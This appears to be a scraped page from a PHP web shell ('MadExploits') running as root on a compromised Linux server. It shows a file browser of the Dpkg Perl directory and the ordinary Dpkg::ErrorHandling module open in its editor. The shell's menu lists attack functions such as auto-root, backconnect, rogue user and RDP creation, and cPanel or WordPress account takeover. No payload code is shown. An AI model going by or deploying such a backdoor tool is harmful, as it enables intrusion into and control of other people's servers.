Linux r-1tbfree-gecko-e8ip2zsa-2f967-wvg4t 6.12.63-84.121.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Dec 31 02:07:30 UTC 2025 x86_64
PHP/8.5.2 (Development Server)
: | : 10.16.14.243
Cant Read [ /etc/named.conf ]
8.5.2
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
Dpkg /
[ HOME SHELL ]
Name
Size
Permission
Action
Archive
[ DIR ]
drwxr-xr-x
Build
[ DIR ]
drwxr-xr-x
BuildDriver
[ DIR ]
drwxr-xr-x
Changelog
[ DIR ]
drwxr-xr-x
Compression
[ DIR ]
drwxr-xr-x
Control
[ DIR ]
drwxr-xr-x
Deps
[ DIR ]
drwxr-xr-x
Dist
[ DIR ]
drwxr-xr-x
Interface
[ DIR ]
drwxr-xr-x
OpenPGP
[ DIR ]
drwxr-xr-x
Shlibs
[ DIR ]
drwxr-xr-x
Source
[ DIR ]
drwxr-xr-x
Vendor
[ DIR ]
drwxr-xr-x
Arch.pm
14.73
KB
-rw-r--r--
BuildAPI.pm
3.33
KB
-rw-r--r--
BuildDriver.pm
4.34
KB
-rw-r--r--
BuildEnv.pm
2.23
KB
-rw-r--r--
BuildFlags.pm
14.4
KB
-rw-r--r--
BuildInfo.pm
3.09
KB
-rw-r--r--
BuildOptions.pm
6.3
KB
-rw-r--r--
BuildProfiles.pm
3.48
KB
-rw-r--r--
BuildTree.pm
2.49
KB
-rw-r--r--
BuildTypes.pm
6.02
KB
-rw-r--r--
Changelog.pm
20.55
KB
-rw-r--r--
Checksums.pm
11.14
KB
-rw-r--r--
Compression.pm
11.94
KB
-rw-r--r--
Conf.pm
5.96
KB
-rw-r--r--
Control.pm
8.4
KB
-rw-r--r--
Deps.pm
14.72
KB
-rw-r--r--
ErrorHandling.pm
5.9
KB
-rw-r--r--
Exit.pm
2.42
KB
-rw-r--r--
File.pm
2.06
KB
-rw-r--r--
Getopt.pm
1.52
KB
-rw-r--r--
Gettext.pm
5.31
KB
-rw-r--r--
IPC.pm
11.66
KB
-rw-r--r--
Index.pm
11.54
KB
-rw-r--r--
Lock.pm
2.11
KB
-rw-r--r--
OpenPGP.pm
3.99
KB
-rw-r--r--
Package.pm
2.22
KB
-rw-r--r--
Path.pm
8.67
KB
-rw-r--r--
Shlibs.pm
5.69
KB
-rw-r--r--
Substvars.pm
12.99
KB
-rw-r--r--
Vendor.pm
6.66
KB
-rw-r--r--
Version.pm
12.91
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ErrorHandling.pm
# This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <https://www.gnu.org/licenses/>. =encoding utf8 =head1 NAME Dpkg::ErrorHandling - handle error conditions =head1 DESCRIPTION This module provides functions to handle all reporting and error handling. B<Note>: This is a private module, its API can change at any time. =cut package Dpkg::ErrorHandling 0.02; use strict; use warnings; use feature qw(state); our @EXPORT_OK = qw( REPORT_PROGNAME REPORT_COMMAND REPORT_STATUS REPORT_DEBUG REPORT_HINT REPORT_INFO REPORT_NOTICE REPORT_WARN REPORT_ERROR report_pretty report_color report ); our @EXPORT = qw( report_options debug hint info notice warning error errormsg syserr printcmd subprocerr usageerr ); use Exporter qw(import); use Dpkg (); use Dpkg::Gettext; my $quiet_warnings = 0; my $show_hints = 1; my $debug_level = 0; my $info_fh = \*STDOUT; sub setup_color { my $mode = $ENV{'DPKG_COLORS'} // 'auto'; my $use_color; if ($mode eq 'auto') { ## no critic (InputOutput::ProhibitInteractiveTest) $use_color = 1 if -t *STDOUT or -t *STDERR; } elsif ($mode eq 'always') { $use_color = 1; } else { $use_color = 0; } require Term::ANSIColor if $use_color; } use constant { REPORT_PROGNAME => 1, REPORT_COMMAND => 2, REPORT_STATUS => 3, REPORT_INFO => 4, REPORT_NOTICE => 5, REPORT_WARN => 6, REPORT_ERROR => 7, REPORT_DEBUG => 8, REPORT_HINT => 9, }; my %report_mode = ( REPORT_PROGNAME() => { color => 'bold', }, REPORT_COMMAND() => { color => 'bold magenta', }, REPORT_STATUS() => { color => 'clear', # We do not translate this name because the untranslated output is # part of the interface. name => 'status', }, REPORT_DEBUG() => { color => 'clear', # We do not translate this name because it is a developer interface # and all debug messages are untranslated anyway. name => 'debug', }, REPORT_HINT() => { color => 'bold blue', name => g_('hint'), }, REPORT_INFO() => { color => 'green', name => g_('info'), }, REPORT_NOTICE() => { color => 'yellow', name => g_('notice'), }, REPORT_WARN() => { color => 'bold yellow', name => g_('warning'), }, REPORT_ERROR() => { color => 'bold red', name => g_('error'), }, ); sub report_options { my (%opts) = @_; if (exists $opts{quiet_warnings}) { $quiet_warnings = $opts{quiet_warnings}; } if (exists $opts{show_hints}) { $show_hints = $opts{show_hints}; } if (exists $opts{debug_level}) { $debug_level = $opts{debug_level}; } if (exists $opts{info_fh}) { $info_fh = $opts{info_fh}; } } sub report_name { my $type = shift; return $report_mode{$type}{name} // ''; } sub report_color { my $type = shift; return $report_mode{$type}{color} // 'clear'; } sub report_pretty { my ($msg, $color) = @_; state $use_color = setup_color(); if ($use_color) { return Term::ANSIColor::colored($msg, $color); } else { return $msg; } } sub _progname_prefix { return report_pretty("$Dpkg::PROGNAME: ", report_color(REPORT_PROGNAME)); } sub _typename_prefix { my $type = shift; return report_pretty(report_name($type), report_color($type)); } sub report { my ($type, $msg, @args) = @_; $msg = sprintf $msg, @args if @args; my $progname = _progname_prefix(); my $typename = _typename_prefix($type); return "$progname$typename: $msg\n"; } sub debug { my ($level, @args) = @_; print report(REPORT_DEBUG, @args) if $level <= $debug_level; } sub hint { my @args = @_; return if not $show_hints; print report(REPORT_HINT, @args) if not $quiet_warnings; } sub info { my @args = @_; print { $info_fh } report(REPORT_INFO, @args) if not $quiet_warnings; } sub notice { my @args = @_; warn report(REPORT_NOTICE, @args) if not $quiet_warnings; } sub warning { my @args = @_; warn report(REPORT_WARN, @args) if not $quiet_warnings; } sub syserr { my ($msg, @args) = @_; die report(REPORT_ERROR, "$msg: $!", @args); } sub error { my @args = @_; die report(REPORT_ERROR, @args); } sub errormsg { my @args = @_; print { *STDERR } report(REPORT_ERROR, @args); } sub printcmd { my (@cmd) = @_; print { *STDERR } report_pretty(" @cmd\n", report_color(REPORT_COMMAND)); } sub subprocerr { my ($p, @args) = @_; $p = sprintf $p, @args if @args; require POSIX; if (POSIX::WIFEXITED($?)) { my $ret = POSIX::WEXITSTATUS($?); error(g_('%s subprocess returned exit status %d'), $p, $ret); } elsif (POSIX::WIFSIGNALED($?)) { my $sig = POSIX::WTERMSIG($?); error(g_('%s subprocess was killed by signal %d'), $p, $sig); } else { error(g_('%s subprocess failed with unknown status code %d'), $p, $?); } } sub usageerr { my ($msg, @args) = @_; state $printforhelp = g_('Use --help for program usage information.'); $msg = sprintf $msg, @args if @args; warn report(REPORT_ERROR, $msg); warn "\n$printforhelp\n"; exit(2); } =head1 CHANGES =head2 Version 0.xx This is a private module. =cut 1;
Close